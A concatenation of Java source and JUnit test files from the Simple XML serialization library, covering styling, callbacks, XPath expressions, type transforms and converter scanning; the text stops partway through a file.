veryVeryLastChild.setReference("");
veryVeryLastChild.setValue("very very last child");
OutputNode otherVeryVeryLastChild = veryLastChild.getChild("otherVeryVeryLastChild");
// Problem here with anonymous namespace
otherVeryVeryLastChild.setReference("http://www.w3c.com/anonymous");
otherVeryVeryLastChild.setValue("other very very last child");
OutputNode yetAnotherVeryVeryLastChild = veryLastChild.getChild("yetAnotherVeryVeryLastChild");
yetAnotherVeryVeryLastChild.setReference("http://www.w3c.com/xhtml");
yetAnotherVeryVeryLastChild.setValue("yet another very very last child");
root.commit();
validate(out.toString());
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/CamelCaseBuilder.java<|end_filename|>
/*
* CamelCaseBuilder.java July 2008
*
* Copyright (C) 2008, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
/**
* The <code>CamelCaseBuilder</code> is used to represent an XML style
* that can be applied to a serialized object. A style can be used to
* modify the element and attribute names for the generated document.
* This styles can be used to generate camel case XML.
* <pre>
*
* <ExampleElement>
* <ChildElement exampleAttribute='example'>
* <InnerElement>example</InnerElement>
* </ChildElement>
* </ExampleElement>
*
* </pre>
* Above the camel case XML elements and attributes can be generated
* from a style implementation. Styles enable the same objects to be
* serialized in different ways, generating different styles of XML
* without having to modify the class schema for that object.
*
* @author <NAME>
*/
class CamelCaseBuilder implements Style {
/**
* If true then the attribute will start with upper case.
*/
protected final boolean attribute;
/**
* If true then the element will start with upper case.
*/
protected final boolean element;
/**
* Constructor for the <code>CamelCaseBuilder</code> object. This
* is used to create a style that will create camel case XML
* attributes and elements allowing a consistent format for
* generated XML. Both the attribute an elements are configurable.
*
* @param element if true the element will start as upper case
* @param attribute if true the attribute starts as upper case
*/
public CamelCaseBuilder(boolean element, boolean attribute) {
this.attribute = attribute;
this.element = element;
}
/**
* This is used to generate the XML attribute representation of
* the specified name. Attribute names should ensure to keep the
* uniqueness of the name such that two different names will
* be styled in to two different strings.
*
* @param name this is the attribute name that is to be styled
*
* @return this returns the styled name of the XML attribute
*/
public String getAttribute(String name) {
if(name != null) {
return new Attribute(name).process();
}
return null;
}
/**
* This is used to generate the XML element representation of
* the specified name. Element names should ensure to keep the
* uniqueness of the name such that two different names will
* be styled in to two different strings.
*
* @param name this is the element name that is to be styled
*
* @return this returns the styled name of the XML element
*/
public String getElement(String name) {
if(name != null) {
return new Element(name).process();
}
return null;
}
/**
* This is used to parse the style for this builder. This takes
* all of the words split from the original string and builds all
* of the processed tokens for the styles elements and attributes.
*
* @author <NAME>
*/
private class Attribute extends Splitter {
/**
* This determines whether to capitalise a split token
*/
private boolean capital;
/**
* Constructor for the <code>Attribute</code> object. This will
* take the original string and parse it such that all of the
* words are emitted and used to build the styled token.
*
* @param source this is the original string to be parsed
*/
private Attribute(String source) {
super(source);
}
/**
* This is used to parse the provided text in to the style that
* is required. Manipulation of the text before committing it
* ensures that the text adheres to the required style.
*
* @param text this is the text buffer to acquire the token from
* @param off this is the offset in the buffer token starts at
* @param len this is the length of the token to be parsed
*/
@Override
protected void parse(char[] text, int off, int len) {
if(attribute || capital) {
text[off] = toUpper(text[off]);
}
capital = true;
}
/**
* This is used to commit the provided text in to the style that
* is required. Committing the text to the buffer assembles the
* tokens resulting in a complete token.
*
* @param text this is the text buffer to acquire the token from
* @param off this is the offset in the buffer token starts at
* @param len this is the length of the token to be committed
*/
@Override
protected void commit(char[] text, int off, int len) {
builder.append(text, off, len);
}
}
/**
* This is used to parse the style for this builder. This takes
* all of the words split from the original string and builds all
* of the processed tokens for the styles elements and attributes.
*
* @author <NAME>
*/
private class Element extends Attribute {
/**
* This determines whether to capitalise a split token
*/
private boolean capital;
/**
* Constructor for the <code>Element</code> object. This will
* take the original string and parse it such that all of the
* words are emitted and used to build the styled token.
*
* @param source this is the original string to be parsed
*/
private Element(String source) {
super(source);
}
/**
* This is used to parse the provided text in to the style that
* is required. Manipulation of the text before committing it
* ensures that the text adheres to the required style.
*
* @param text this is the text buffer to acquire the token from
* @param off this is the offset in the buffer token starts at
* @param len this is the length of the token to be parsed
*/
@Override
protected void parse(char[] text, int off, int len) {
if(element || capital) {
text[off] = toUpper(text[off]);
}
capital = true;
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/convert/HackJobToGrabFloatingTextTest.java<|end_filename|>
package org.simpleframework.xml.convert;
import java.io.StringReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.NodeBuilder;
import org.simpleframework.xml.stream.OutputNode;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
public class HackJobToGrabFloatingTextTest extends ValidationTestCase {
private static final String SOURCE =
"<element1>\n"+
" some inner text\n"+
" <child1>11</child1>\n"+
" <child2>True</child2>\n" +
"</element1>";
private static class SomethingConverter implements Converter<Something> {
public Something read(InputNode node) throws Exception {
Object source = node.getSource();
Element element = (Element)source;
NodeList elements = element.getChildNodes();
String child1 = null;
String child2 = null;
String text = "";
for(int i = 0; i < elements.getLength(); i++) {
Node next = elements.item(i);
if(next.getNodeType() == Node.TEXT_NODE) {
text += next.getNodeValue();
}
if(next.getNodeType() == Node.ELEMENT_NODE) {
if(next.getNodeName().equals("child1")) {
child1 = next.getTextContent();
}
if(next.getNodeName().equals("child2")) {
child2 = next.getTextContent();
}
}
}
return new Something(child1, child2, text.trim());
}
public void write(OutputNode node, Something car) throws Exception {
// Free text not supported!!
}
}
@Root(name = "element1")
@Convert(SomethingConverter.class)
public static class Something {
public String child1;
public String child2;
public String text;
public Something(String child1, String child2, String text) {
this.child1 = child1;
this.child2 = child2;
this.text = text;
}
}
public void testHackJob() throws Exception {
Class<?> type = Class.forName("org.simpleframework.xml.stream.DocumentProvider");
Constructor<?> constructor = type.getDeclaredConstructor();
constructor.setAccessible(true);
Object value = constructor.newInstance();
Field[] fields = NodeBuilder.class.getDeclaredFields();
for(Field field : fields) {
if(field.getName().equalsIgnoreCase("provider")) {
field.setAccessible(true);
field.set(null, value);
}
}
StringReader reader = new StringReader(SOURCE);
InputNode source = NodeBuilder.read(reader);
AnnotationStrategy strategy = new AnnotationStrategy();
Persister persister = new Persister(strategy);
Something something = persister.read(Something.class, source);
assertNotNull(something);
assertEquals(something.text, "some inner text");
assertEquals(something.child1, "11");
assertEquals(something.child2, "True");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnionDuplicateTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.ElementUnion;
public class UnionDuplicateTest extends ValidationTestCase {
private static final String SOURCE =
"<shapeExample>" +
" <circle>" +
" <type>CIRCLE</type>" +
" </circle>" +
" <square>" +
" <type>SQUARE</type>" +
" </square>" +
"</shapeExample>";
@Root
public static class Square implements Shape {
@Element
private String type;
public String type() {
return type;
}
}
@Root
public static class Circle implements Shape {
@Element
private String type;
private double radius;
public double area() {
return Math.PI * Math.pow(radius, 2.0);
}
public String type() {
return type;
}
}
public static interface Shape<T> {
public String type();
}
@Root
public static class Diagram {
@ElementUnion({
@Element(name="circle", type=Circle.class),
@Element(name="square", type=Square.class)
})
private Shape shape;
public Diagram() {
super();
}
public void setShape(Shape shape){
this.shape = shape;
}
public Shape getShape() {
return shape;
}
}
public void testShape() throws Exception {
Persister persister = new Persister();
boolean exception = false;
try {
Diagram example = persister.read(Diagram.class, SOURCE);
assertNull(example);
}catch(Exception e) {
e.printStackTrace();
exception = true;
}
assertTrue("Union can only appear once in source XML", exception);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/SerializeRandomListOfObjectsTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import junit.framework.TestCase;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.core.Persister;
public class SerializeRandomListOfObjectsTest extends TestCase {
@Default
public static class MethodInvocation {
private List<Object> arguments;
private Class[] types;
private String name;
public MethodInvocation() {
super();
}
public MethodInvocation(String name, Class[] types, List<Object> arguments) {
this.name = name;
this.types = types;
this.arguments = arguments;
}
}
@Default
private static class ListArgument {
@ElementList
private List list;
public ListArgument() {
super();
}
public ListArgument(List list) {
this.list = list;
}
}
public static interface SomeServiceInterface {
void doSomething(List<String> values);
}
public void testSerializeRandomList() throws Exception {
List list = new ArrayList();
list.add("x");
list.add(10);
list.add(new Date());
ListArgument argument = new ListArgument(list);
Persister persister = new Persister();
persister.write(argument, System.out);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Caller.java<|end_filename|>
/*
* Caller.java June 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
/**
* The <code>Caller</code> acts as a means for the schema to invoke
* the callback methods on an object. This ensures that the correct
* method is invoked within the schema class. If the annotated method
* accepts a map then this will provide that map to the method. This
* also ensures that if specific annotation is not present in the
* class that no action is taken on a persister callback.
*
* @author <NAME>
*/
class Caller {
/**
* This is the pointer to the schema class commit function.
*/
private final Function commit;
/**
* This is the pointer to the schema class validation function.
*/
private final Function validate;
/**
* This is the pointer to the schema class persist function.
*/
private final Function persist;
/**
* This is the pointer to the schema class complete function.
*/
private final Function complete;
/**
* This is the pointer to the schema class replace function.
*/
private final Function replace;
/**
* This is the pointer to the schema class resolve function.
*/
private final Function resolve;
/**
* This is the context that is used to invoke the functions.
*/
private final Context context;
/**
* Constructor for the <code>Caller</code> object. This is used
* to wrap the schema class such that callbacks from the persister
* can be dealt with in a seamless manner. This ensures that the
* correct function and arguments are provided to the functions.
* element and attribute XML annotations scanned from
*
* @param schema this is the scanner that contains the functions
* @param context this is the context used to acquire the session
*/
public Caller(Scanner schema, Context context) {
this.validate = schema.getValidate();
this.complete = schema.getComplete();
this.replace = schema.getReplace();
this.resolve = schema.getResolve();
this.persist = schema.getPersist();
this.commit = schema.getCommit();
this.context = context;
}
/**
* This is used to replace the deserialized object with another
* instance, perhaps of a different type. This is useful when an
* XML schema class acts as a reference to another XML document
* which needs to be loaded externally to create an object of
* a different type.
*
* @param source the source object to invoke the function on
*
* @return this returns the object that acts as the replacement
*
* @throws Exception if the replacement function cannot complete
*/
public Object replace(Object source) throws Exception {
if(replace != null) {
return replace.call(context, source);
}
return source;
}
/**
* This is used to replace the deserialized object with another
* instance, perhaps of a different type. This is useful when an
* XML schema class acts as a reference to another XML document
* which needs to be loaded externally to create an object of
* a different type.
*
* @param source the source object to invoke the function on
*
* @return this returns the object that acts as the replacement
*
* @throws Exception if the replacement function cannot complete
*/
public Object resolve(Object source) throws Exception {
if(resolve != null) {
return resolve.call(context, source);
}
return source;
}
/**
* This method is used to invoke the provided objects commit function
* during the deserialization process. The commit function must be
* marked with the <code>Commit</code> annotation so that when the
* object is deserialized the persister has a chance to invoke the
* function so that the object can build further data structures.
*
* @param source this is the object that has just been deserialized
*
* @throws Exception thrown if the commit process cannot complete
*/
public void commit(Object source) throws Exception {
if(commit != null) {
commit.call(context, source);
}
}
/**
* This method is used to invoke the provided objects validation
* function during the deserialization process. The validation function
* must be marked with the <code>Validate</code> annotation so that
* when the object is deserialized the persister has a chance to
* invoke that function so that object can validate its field values.
*
* @param source this is the object that has just been deserialized
*
* @throws Exception thrown if the validation process failed
*/
public void validate(Object source) throws Exception {
if(validate != null) {
validate.call(context, source);
}
}
/**
* This method is used to invoke the provided objects persistence
* function. This is invoked during the serialization process to
* get the object a chance to perform an necessary preparation
* before the serialization of the object proceeds. The persist
* function must be marked with the <code>Persist</code> annotation.
*
* @param source the object that is about to be serialized
*
* @throws Exception thrown if the object cannot be persisted
*/
public void persist(Object source) throws Exception {
if(persist != null) {
persist.call(context, source);
}
}
/**
* This method is used to invoke the provided objects completion
* function. This is invoked after the serialization process has
* completed and gives the object a chance to restore its state
* if the persist function required some alteration or locking.
* This is marked with the <code>Complete</code> annotation.
*
* @param source this is the object that has been serialized
*
* @throws Exception thrown if the object cannot complete
*/
public void complete(Object source) throws Exception {
if(complete != null) {
complete.call(context, source);
}
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Expression.java<|end_filename|>
/*
* Expression.java November 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
/**
* The <code>Expression</code> interface is used to represent an XPath
* expression. Any element or attribute may be defined as having an
* XPath expression so that it may be located within an XML document.
* This provides a convenient interface to navigating structures
* based on an XPath expression. The below formats are supported.
* <pre>
*
* ./example/path
* ./example[2]/path/
* example/path
* example/path/@attribute
* ./path/@attribute
*
* </pre>
* As can be seen only a subset of the XPath syntax is supported by
* this. For convenience this provides a means to acquire paths
* from within a path, which makes a single expression more useful
* when navigating structures representing the XML document.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.ExpressionBuilder
*/
interface Expression extends Iterable<String> {
/**
* If the first path segment contains an index it is provided
* by this method. There may be several indexes within a
* path, however only the index at the first segment is issued
* by this method. If there is no index this will return 1.
*
* @return this returns the index of this path expression
*/
int getIndex();
/**
* This is used to extract a namespace prefix from the path
* expression. A prefix is used to qualify the XML element name
* and does not form part of the actual path structure. This
* can be used to add the namespace in addition to the name.
*
* @return this returns the prefix for the path expression
*/
String getPrefix();
/**
* This can be used to acquire the first path segment within
* the expression. The first segment represents the parent XML
* element of the path. All segments returned do not contain
* any slashes and so represents the real element name.
*
* @return this returns the parent element for the path
*/
String getFirst();
/**
* This can be used to acquire the last path segment within
* the expression. The last segment represents the leaf XML
* element of the path. All segments returned do not contain
* any slashes and so represents the real element name.
*
* @return this returns the leaf element for the path
*/
String getLast();
/**
* This location contains the full path expression with all
* of the indexes explicitly shown for each path segment. This
* is used to create a uniform representation that can be used
* for comparisons of different path expressions.
*
* @return this returns an expanded version of the path
*/
String getPath();
/**
* This is used to acquire the element path using this XPath
* expression. The element path is simply the fully qualified
* path for this expression with the provided name appended.
* If this is an empty path, the provided name is returned.
*
* @param name this is the name of the element to be used
*
* @return a fully qualified path for the specified name
*/
String getElement(String name);
/**
* This is used to acquire the attribute path using this XPath
* expression. The attribute path is simply the fully qualified
* path for this expression with the provided name appended.
* If this is an empty path, the provided name is returned.
*
* @param name this is the name of the attribute to be used
*
* @return a fully qualified path for the specified name
*/
String getAttribute(String name);
/**
* This allows an expression to be extracted from the current
* context. Extracting expressions in this manner makes it
* more convenient for navigating structures representing
* the XML document. If an expression can not be extracted
* with the given criteria an exception will be thrown.
*
* @param from this is the number of segments to skip to
*
* @return this returns an expression from this one
*/
Expression getPath(int from);
/**
* This allows an expression to be extracted from the current
* context. Extracting expressions in this manner makes it
* more convenient for navigating structures representing
* the XML document. If an expression can not be extracted
* with the given criteria an exception will be thrown.
*
* @param from this is the number of segments to skip to
* @param trim the number of segments to trim from the end
*
* @return this returns an expression from this one
*/
Expression getPath(int from, int trim);
/**
* This is used to determine if the expression points to an
* attribute value. An attribute value contains an '@' character
* before the last segment name. Such expressions distinguish
* element references from attribute references.
*
* @return this returns true if the path has an attribute
*/
boolean isAttribute();
/**
* This is used to determine if the expression is a path. An
* expression represents a path if it contains more than one
* segment. If only one segment exists it is an element name.
*
* @return true if this contains more than one segment
*/
boolean isPath();
/**
* This method is used to determine if this expression is an
* empty path. An empty path can be represented by a single
* period, '.'. It identifies the current path.
*
* @return returns true if this represents an empty path
*/
boolean isEmpty();
/**
* Provides a canonical XPath expression. This is used for both
* debugging and reporting. The path returned represents the
* original path that has been parsed to form the expression.
*
* @return this returns the string format for the XPath
*/
String toString();
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/EnumArrayTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class EnumArrayTest extends ValidationTestCase {
private static final String SOURCE =
"<example size='3'>"+
" <array>ONE,TWO,FOUR</array>"+
"</example>";
private static enum Number {
ONE,
TWO,
THREE,
FOUR
}
@Root(name="example")
private static class NumberArray {
@Element(name="array")
private final Number[] array;
private final int size;
public NumberArray(@Element(name="array") Number[] array, @Attribute(name="size") int size) {
this.array = array;
this.size = size;
}
@Attribute(name="size")
public int getLength() {
return size;
}
}
public void testArrayElement() throws Exception {
Persister persister = new Persister();
NumberArray array = persister.read(NumberArray.class, SOURCE);
assertEquals(array.array.length, 3);
assertEquals(array.array[0], Number.ONE);
assertEquals(array.array[1], Number.TWO);
assertEquals(array.array[2], Number.FOUR);
assertEquals(array.getLength(), array.size);
assertEquals(array.array.length, array.size);
validate(persister, array);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Persist.java<|end_filename|>
/*
* Persist.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Retention;
/**
* The <code>Persist</code> annotation is used to mark a method that
* requires a callback from the persister before serialization of
* an object begins. If a method is marked with this annotation then
* it will be invoked so that it can prepare the object for the
* serialization process.
* <p>
* The persist method can be used to perform any preparation needed
* before serialization. For example, should the object be a list
* or table of sorts the persist method can be used to grab a lock
* for the internal data structure. Such a scheme will ensure that
* the object is serialized in a known state. The persist method
* must be a no argument public method or a method that takes a
* single <code>Map</code> argument, it may throw an exception to
* terminate the serialization process if required.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.Complete
*/
@Retention(RetentionPolicy.RUNTIME)
public @interface Persist {
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/CurrencyTransformTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import java.util.Currency;
import java.util.Locale;
import org.simpleframework.xml.transform.CurrencyTransform;
import junit.framework.TestCase;
public class CurrencyTransformTest extends TestCase {
public void testCurrency() throws Exception {
Currency currency = Currency.getInstance(Locale.UK);
CurrencyTransform format = new CurrencyTransform();
String value = format.write(currency);
Currency copy = format.read(value);
assertEquals(currency, copy);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/Base64OutputStream.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.IOException;
import java.io.OutputStream;
import java.util.Arrays;
public class Base64OutputStream extends OutputStream {
private char[] encoded;
private byte[] buffer;
private byte[] temp;
private int count;
public Base64OutputStream() {
this(1024);
}
public Base64OutputStream(int capacity) {
this.buffer = new byte[capacity];
this.temp = new byte[1];
}
@Override
public void write(int octet) throws IOException {
temp[0] = (byte)octet;
write(temp);
}
@Override
public void write(byte[] array, int off, int length) throws IOException {
if(encoded != null) {
throw new IOException("Stream has been closed");
}
if(count + length > buffer.length) {
expand(count + length);
}
System.arraycopy(array, off, buffer, count, length);
count += length;
}
private void expand(int capacity) throws IOException {
int length = Math.max(buffer.length * 2, capacity);
if(buffer.length < capacity) {
buffer = Arrays.copyOf(buffer, length);
}
}
@Override
public void close() throws IOException {
if(encoded == null) {
encoded = Base64Encoder.encode(buffer, 0, count);
}
}
@Override
public String toString() {
return new String(encoded);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/transform/PackageMatcher.java<|end_filename|>
/*
* PackageMatcher.java May 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.transform;
import java.io.File;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.net.URL;
import java.sql.Time;
import java.sql.Timestamp;
import java.util.Currency;
import java.util.Date;
import java.util.GregorianCalendar;
import java.util.Locale;
import java.util.TimeZone;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.concurrent.atomic.AtomicLong;
/**
* The <code>PackageMatcher</code> object is used to match the stock
* transforms to Java packages. This is used to match useful types
* from the <code>java.lang</code> and <code>java.util</code> packages
* as well as other Java packages. This matcher groups types by their
* package names and attempts to search the stock transforms for a
* suitable match. If no match can be found this throws an exception.
*
* @author <NAME>
*
* @see org.simpleframework.xml.transform.DefaultMatcher
*/
class PackageMatcher implements Matcher {
/**
* Constructor for the <code>PackageMatcher</code> object. The
* package matcher is used to resolve a transform instance to
* convert object types to an from strings. If a match cannot
* be found with this matcher then an exception is thrown.
*/
public PackageMatcher() {
super();
}
/**
* This method attempts to perform a resolution of the transform
* based on its package prefix. This allows this matcher to create
* a logical group of transforms within a single method based on
* the types package prefix. If no transform can be found then
* this will throw an exception.
*
* @param type this is the type to resolve a transform for
*
* @return the transform that is used to transform that type
*/
public Transform match(Class type) throws Exception {
String name = type.getName();
if(name.startsWith("java.lang")) {
return matchLanguage(type);
}
if(name.startsWith("java.util")) {
return matchUtility(type);
}
if(name.startsWith("java.net")) {
return matchURL(type);
}
if(name.startsWith("java.io")) {
return matchFile(type);
}
if(name.startsWith("java.sql")) {
return matchSQL(type);
}
if(name.startsWith("java.math")) {
return matchMath(type);
}
return matchEnum(type);
}
/**
* This is used to resolve <code>Transform</code> implementations
* that are <code>Enum</code> implementations. If the type is not
* an enumeration then this will return null.
*
* @param type this is the type to resolve a stock transform for
*
* @return this will return a transform for the specified type
*/
private Transform matchEnum(Class type) {
Class parent = type.getSuperclass();
if(parent != null) {
if(parent.isEnum()) {
return new EnumTransform(type);
}
if(type.isEnum()) {
return new EnumTransform(type);
}
}
return null;
}
/**
* This is used to resolve <code>Transform</code> implementations
* that relate to the <code>java.lang</code> package. If the type
* does not resolve to a valid transform then this method will
* throw an exception to indicate that no stock transform exists
* for the specified type.
*
* @param type this is the type to resolve a stock transform for
*
* @return this will return a transform for the specified type
*/
private Transform matchLanguage(Class type) throws Exception {
if(type == Boolean.class) {
return new BooleanTransform();
}
if(type == Integer.class) {
return new IntegerTransform();
}
if(type == Long.class) {
return new LongTransform();
}
if(type == Double.class) {
return new DoubleTransform();
}
if(type == Float.class) {
return new FloatTransform();
}
if(type == Short.class) {
return new ShortTransform();
}
if(type == Byte.class) {
return new ByteTransform();
}
if(type == Character.class) {
return new CharacterTransform();
}
if(type == String.class) {
return new StringTransform();
}
if(type == Class.class) {
return new ClassTransform();
}
return null;
}
/**
* This is used to resolve <code>Transform</code> implementations
* that relate to the <code>java.math</code> package. If the type
* does not resolve to a valid transform then this method will
* throw an exception to indicate that no stock transform exists
* for the specified type.
*
* @param type this is the type to resolve a stock transform for
*
* @return this will return a transform for the specified type
*/
private Transform matchMath(Class type) throws Exception {
if(type == BigDecimal.class) {
return new BigDecimalTransform();
}
if(type == BigInteger.class) {
return new BigIntegerTransform();
}
return null;
}
/**
* This is used to resolve <code>Transform</code> implementations
* that relate to the <code>java.util</code> package. If the type
* does not resolve to a valid transform then this method will
* throw an exception to indicate that no stock transform exists
* for the specified type.
*
* @param type this is the type to resolve a stock transform for
*
* @return this will return a transform for the specified type
*/
private Transform matchUtility(Class type) throws Exception {
if(type == Date.class) {
return new DateTransform(type);
}
if(type == Locale.class) {
return new LocaleTransform();
}
if(type == Currency.class) {
return new CurrencyTransform();
}
if(type == GregorianCalendar.class) {
return new GregorianCalendarTransform();
}
if(type == TimeZone.class) {
return new TimeZoneTransform();
}
if(type == AtomicInteger.class) {
return new AtomicIntegerTransform();
}
if(type == AtomicLong.class) {
return new AtomicLongTransform();
}
return null;
}
/**
* This is used to resolve <code>Transform</code> implementations
* that relate to the <code>java.sql</code> package. If the type
* does not resolve to a valid transform then this method will
* throw an exception to indicate that no stock transform exists
* for the specified type.
*
* @param type this is the type to resolve a stock transform for
*
* @return this will return a transform for the specified type
*/
private Transform matchSQL(Class type) throws Exception {
if(type == Time.class) {
return new DateTransform(type);
}
if(type == java.sql.Date.class) {
return new DateTransform(type);
}
if(type == Timestamp.class) {
return new DateTransform(type);
}
return null;
}
/**
* This is used to resolve <code>Transform</code> implementations
* that relate to the <code>java.io</code> package. If the type
* does not resolve to a valid transform then this method will
* throw an exception to indicate that no stock transform exists
* for the specified type.
*
* @param type this is the type to resolve a stock transform for
*
* @return this will return a transform for the specified type
*/
private Transform matchFile(Class type) throws Exception {
if(type == File.class) {
return new FileTransform();
}
return null;
}
/**
* This is used to resolve <code>Transform</code> implementations
* that relate to the <code>java.net</code> package. If the type
* does not resolve to a valid transform then this method will
* throw an exception to indicate that no stock transform exists
* for the specified type.
*
* @param type this is the type to resolve a stock transform for
*
* @return this will return a transform for the specified type
*/
private Transform matchURL(Class type) throws Exception {
if(type == URL.class) {
return new URLTransform();
}
return null;
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/convert/ConverterScanner.java<|end_filename|>
/*
* ConverterScanner.java January 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.convert;
import java.lang.annotation.Annotation;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.strategy.Value;
/**
* The <code>ConverterScanner</code> is used to create a converter
* given a method or field representation. Creation of the converter
* is done using the <code>Convert</code> annotation, which may
* be used to annotate a field, method or class. This describes the
* implementation to use for object serialization. To account for
* polymorphism the type scanned for annotations can be overridden
* from type provided in the <code>Type</code> object. This ensures
* that if a collection of objects are serialized the correct
* implementation will be used for each type or subtype.
*
* @author <NAME>
*/
class ConverterScanner {
/**
* This is used to instantiate converters given the type.
*/
private final ConverterFactory factory;
/**
* This is used to build a scanner to scan for annotations.
*/
private final ScannerBuilder builder;
/**
* Constructor for the <code>ConverterScanner</code> object. This
* uses an internal factory to instantiate and cache all of the
* converters created. This will ensure that there is reduced
* overhead for a serialization process using converters.
*/
public ConverterScanner() {
this.factory = new ConverterFactory();
this.builder = new ScannerBuilder();
}
/**
* This method will lookup and instantiate a converter found from
* scanning the field or method type provided. If the type has
* been overridden then the <code>Value</code> object will provide
* the type to scan. If no annotation is found on the class, field
* or method then this will return null.
*
* @param type this is the type to search for the annotation
* @param value this contains the type if it was overridden
*
* @return a converter scanned from the provided field or method
*/
public Converter getConverter(Type type, Value value) throws Exception {
Class real = getType(type, value);
Convert convert = getConvert(type, real);
if(convert != null) {
return factory.getInstance(convert);
}
return null;
}
/**
* This method will lookup and instantiate a converter found from
* scanning the field or method type provided. If the type has
* been overridden then the object instance will provide the type
* to scan. If no annotation is found on the class, field or
* method then this will return null.
*
* @param type this is the type to search for the annotation
* @param value this contains the type if it was overridden
*
* @return a converter scanned from the provided field or method
*/
public Converter getConverter(Type type, Object value) throws Exception {
Class real = getType(type, value);
Convert convert = getConvert(type, real);
if(convert != null) {
return factory.getInstance(convert);
}
return null;
}
/**
* This method is used to scan the provided <code>Type</code> for
* an annotation. If the <code>Type</code> represents a field or
* method then the annotation can be taken directly from that
* field or method. If however the type represents a class then
* the class itself must contain the annotation.
*
* @param type the field or method containing the annotation
* @param real the type that represents the field or method
*
* @return this returns the annotation on the field or method
*/
private Convert getConvert(Type type, Class real) throws Exception {
Convert convert = getConvert(type);
if(convert == null) {
return getConvert(real);
}
return convert;
}
/**
* This method is used to scan the provided <code>Type</code> for
* an annotation. If the <code>Type</code> represents a field or
* method then the annotation can be taken directly from that
* field or method. If however the type represents a class then
* the class itself must contain the annotation.
*
* @param type the field or method containing the annotation
*
* @return this returns the annotation on the field or method
*/
private Convert getConvert(Type type) throws Exception {
Convert convert = type.getAnnotation(Convert.class);
if(convert != null) {
Element element = type.getAnnotation(Element.class);
if(element == null) {
throw new ConvertException("Element annotation required for %s", type);
}
}
return convert;
}
/**
* This method is used to scan the provided <code>Type</code> for
